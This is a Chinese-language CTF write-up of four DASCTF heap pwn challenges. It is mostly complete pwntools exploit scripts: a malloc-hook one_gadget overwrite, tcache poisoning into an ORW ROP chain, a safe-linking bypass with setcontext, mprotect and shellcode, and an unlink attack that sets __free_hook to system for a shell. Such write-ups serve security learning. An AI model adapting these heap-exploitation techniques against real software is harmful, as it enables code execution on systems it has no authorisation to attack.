2021年3月

before

周末打了一下DASCTF,基本都是菜单题的堆利用,除了有一题打safe-linking比较新,其它都比较常规。

特别吐槽一下服务器...老是断

fruitpie

拿一个大堆块可以得到一个新段,其地址和glibc映射到内存中的起始地址是个固定偏移,onegadget一把梭

from pwn import *

#p = process("./fruitpie", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com", 50102)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"

# big chunk offset: 0x100000ff0

def exp():
    #gdb.attach(p, "b *$rebase(0xceb)\nc\n")
    p.recvuntil(b"Enter the size to malloc:\n")
    p.sendline(b"-1")
    mem_ptr = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = mem_ptr + 0x100000ff0
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    realloc_hook = malloc_hook - 0x8
    realloc = libc_base + libc.symbols[b"realloc"]
    one_gadget = libc_base + 0x4f3c2
    print("mem_ptr:", hex(mem_ptr))
    print("malloc_hook:", hex(malloc_hook))
    p.recvuntil(b"Offset:\n")
    p.sendline(hex(realloc_hook-mem_ptr))
    p.recvuntil(b"Data:\n")
    p.send(p64(one_gadget) + p64(realloc+6))

    #gdb.attach(p)

    p.interactive()

if __name__ == "__main__":
    exp()

ParentSimulator

嫌麻烦就不用setcontext了,直接泄露environ在栈上构造orw ropchain

from pwn import *
import time
import os

#p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("pwn.machine.dasctf.com", 51503)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new_child(idx:int, sex:int, name):
    menu(1)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())
    p.recvuntil(b"Please input your child's name:\n")
    p.send(name)

def change_name(idx:int, name):
    menu(2)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())    
    p.recvuntil(b"Please input your child's new name:\n")
    p.send(name)

def show_name(idx:int):
    menu(3)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def remove(idx:int):
    menu(4)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode())   

def edit(idx:int ,desc):
    menu(5)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"Please input your child's description:\n")
    p.send(desc)

def secret(idx:int, sex:int):
    menu(666)
    p.recvuntil(b"Please input index?\n")
    p.sendline(str(idx).encode()) 
    p.recvuntil(b"2.Girl:\n")
    p.sendline(str(sex).encode())

def exp():
    # leak libc
    ## fill tcache
    #gdb.attach(p, "b *$rebase(0x1cbd)\nc\n")
    for i in range(7):
        new_child(i, 1, b"tcache")
    new_child(7, 1, b"AAAA")
    new_child(8, 1, b"BBBB")
    for i in range(7):
        remove(i)
    ## overlapp chunk
    remove(7)
    for i in range(7):
        new_child(i, 1, b"reget")
    new_child(9, 1, b"CCCC")
    for i in range(7):
        remove(i)
    remove(7)
    ## leak
    show_name(9)
    p.recvuntil(b"Name: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    free_hook = libc_base + libc.symbols["__free_hook"]
    malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    environ = libc_base + libc.symbols["__environ"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("malloc_hook:", hex(malloc_hook))

    # leak heap
    for i in range(7):
        new_child(i, 1, b"reget") # clean tcache bin
    new_child(0, 1, b"DDDD")
    remove(0)
    new_child(1, 1, b"DDDD")
    remove(0)
    show_name(1)
    p.recvuntil(b"Gender: ")
    heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x10
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    new_child(0, 1, b"clean") # clean tcache bin

    # tcache attack
    new_child(0, 1, b"EEEE")
    remove(8) # add tcache count
    remove(0)
    new_child(1, 1, b"EEEE")
    remove(0)
    secret(0, 2)
    change_name(1, p64(heap_base+0x10)[0:7])

    new_child(2, 1, b"XXXX") 
    new_child(2, 1, b"FFFF") #get heap_struct
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(environ-0x10)[0:7]
    edit(2, heap_struct)
    # fastbin attach

    # leak_environ
    new_child(0, 1, b"XXXX")
    show_name(0)
    p.recvuntil(b"Description:")
    stack_leak = u64(p.recv(6).ljust(8, b"\x00"))
    main_ret = stack_leak - 0x100
    print("stack_leak:", hex(stack_leak))
    print("main_ret:", hex(main_ret))

    # attack ret addr
    heap_struct = p64(0) + p64(0x70000000000000)
    heap_struct = heap_struct.ljust(0xe0, b"\x00")
    heap_struct += p64(0) + p64(main_ret-0x10)[0:7]
    edit(2, heap_struct)

    # build rop
    new_child(0, 1, b"XXXX")
    pop_rdi_ret = libc_base + 0x26b72
    pop_rsi_ret = libc_base + 0x27529
    pop_rdx_r12_ret = libc_base + 0x11c1e1

    rop = p64(pop_rdi_ret) + p64(0)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x10) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(libc_base+libc.symbols["open"])
    rop += p64(pop_rdi_ret) + p64(4)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["read"])
    rop += p64(pop_rdi_ret) + p64(1)
    rop += p64(pop_rsi_ret) + p64(heap_base+0x300)
    rop += p64(pop_rdx_r12_ret) + p64(0x100) + p64(0)
    rop += p64(libc_base+libc.symbols["write"])
    print("len(rop):", hex(len(rop)))
    edit(0, rop)

    # exit and rop
    menu(6)
    time.sleep(1)
    p.send(b"/flag\x00")

    p.interactive()

if __name__ == "__main__":
    exp()

clown

这题比较有意思,用了safe-linking机制,不过网上已经有很多文章介绍了,不再赘叙。主要是泄露tcache bin上一个正常fd为0的(尾部)chunk的fd指针,就可以得到pos>>12,结合其它堆块fd的值算出heap base。由于地址可能存在0截断,所以exp里面分成两部分leak后合并。最后老套路setcontext执行mprotect然后跳到shellcode。

from pwn import *

p = process(["./ld-2.32.so", "./clown"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./clown")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

# orw shellcode
shellcode = asm('''
sub rsp, 0x800;
push 0x67616c66;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall;

mov edi, eax;
mov rsi, rsp;
mov edx, 0x100;
xor eax, eax;
syscall;

mov edx, eax;
mov rsi, rsp;
mov edi, 1;
mov eax, edi;
syscall;
''')

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new(size:int, content):
    menu(1)
    p.recvuntil(b"Size: \n")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content: \n")
    p.send(content)

def delete(idx):
    menu(2)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())

def show(idx):
    menu(3)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())    

def exp():
    # leak heap
    new(0x10, b"AAAA") #0
    new(0x10, b"AAAA") #1
    delete(1)
    delete(0)
    show(1)
    tmp = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    show(0)
    low_b = p.recvuntil(b"\n", drop=True)
    new(0x10, b"AAA") #2
    show(2)
    p.recvuntil(b"AAA")
    high_b = p.recvuntil(b"\n", drop=True)
    ptr = u64((low_b + b"\x00" + high_b).ljust(8, b"\x00"))
    heap_leak = ptr^tmp
    heap_base = heap_leak - 0x2c0
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # leak libc
    for i in range(7):
        new(0x100, b"tcache") #3-9
    new(0x100, b"unsorted") #10 *
    new(0x20, b"split") #11
    for i in range(7):
        delete(i+3)
    delete(10)
    show(10)
    new(0x20, b"A") #12*
    show(12)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-u8(b"A")
    libc_base = libc_leak - 352 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    before_setcontext_gadget = libc_base + 0x124990
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # attack __free_hook
    # ropper --file ./libc-2.31.so --search "mov rdx" | grep rdi
    # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    new(0xd0, b"BBBB") #13 clean unsorted bin
    for i in range(7):
        new(0x80, b"tcache") #14-20
    new(0x80, b"unsorted2") #21
    new(0x80, b"unsorted3") #22
    new(0x20, b"split") #23
    for i in range(7):
        delete(i+14)
    delete(21)
    delete(22) #overlapping
    new(0x80, b"CCCC") #24
    new(0xb0, b"PART1") #25 *overlapping
    new(0x50, p64(0)) #26

    delete(22)
    delete(25)
    new(0xb0, b"A"*0x80+p64(0)+p64(0x90)+p64(((heap_base+0x1010)>>12)^free_hook)) #27 build fake chain

    new(0x80, b"tmp") #28
    new(0x80, p64(before_setcontext_gadget)) #29 rewrite free hook
    print("free_hook:", hex(free_hook))

    # gadget->setcontext->orw
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x2000
    frame.rdx = 7
    frame.rsp = heap_base+0x10d0
    _ = list(frame.values())
    _[4] = setcontext+53 # qword [rdx+0x20]
    _[1] = heap_base+0x11d0 # qword [rdi+8]
    #print(len(flat(_)))
    new(0xf8, p64(heap_base+0x10d0+8)+shellcode) #30 shellcode +0x10d0
    new(0xf8, flat(_)) #31 fake frame +0x11d0

    gdb.attach(p, "b *0x7ffff7d2b990\nc\n")
    #gdb.attach(p)

    delete(31)
    p.interactive()

if __name__ == "__main__":
    exp()

babybabybabyheap

常规unlink

from pwn import *

p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def add(idx:int, size:int, content=b"", exit:bool=False):
    menu(1)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"size?\n", str(size).encode()+b"\n")
    if not exit:
        p.sendafter(b"content?\n", content)

def show(idx:int):
    menu(2)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def delete(idx:int):
    menu(3)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def exit(yon:str='y'):
    menu(4)
    p.sendafter(b"Sure to exit?(y/n)\n", yon)

def secret(idx:int, content):
    exit('n')
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"content?\n", content)

def exp():
    p.recvuntil(b"gift: ")
    puts = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = puts - libc.symbols[b"puts"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))

    for i in range(7):
        add(i, 0x1f0, b"tcache")
    add(7, 0x108, p64(0) + p64(0x191) + p64(0x404178-0x18) + p64(0x404178-0x10))
    add(8, 0x88, b"AAAAA")
    add(9, 0x1f0, b"AAAAA")
    add(10, 0x108, b"split")
    for i in range(7):
        delete(i)
    add(0, 0x80, b"AAAA")# add tcache count
    delete(0)

    secret(8, b"A"*0x80 + p64(0x190))

    delete(9)

    # overlapping

    delete(8)

    add(11, 0x180, b"B"*0xf0 + p64(0) + p64(0x91) + p64(free_hook))

    # get free hook
    add(12, 0x80, b"AAAA")
    add(13, 0x80, p64(system))
    print("free_hook:", hex(free_hook))

    add(14, 0x90, b"/bin/sh\x00")
    delete(14)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()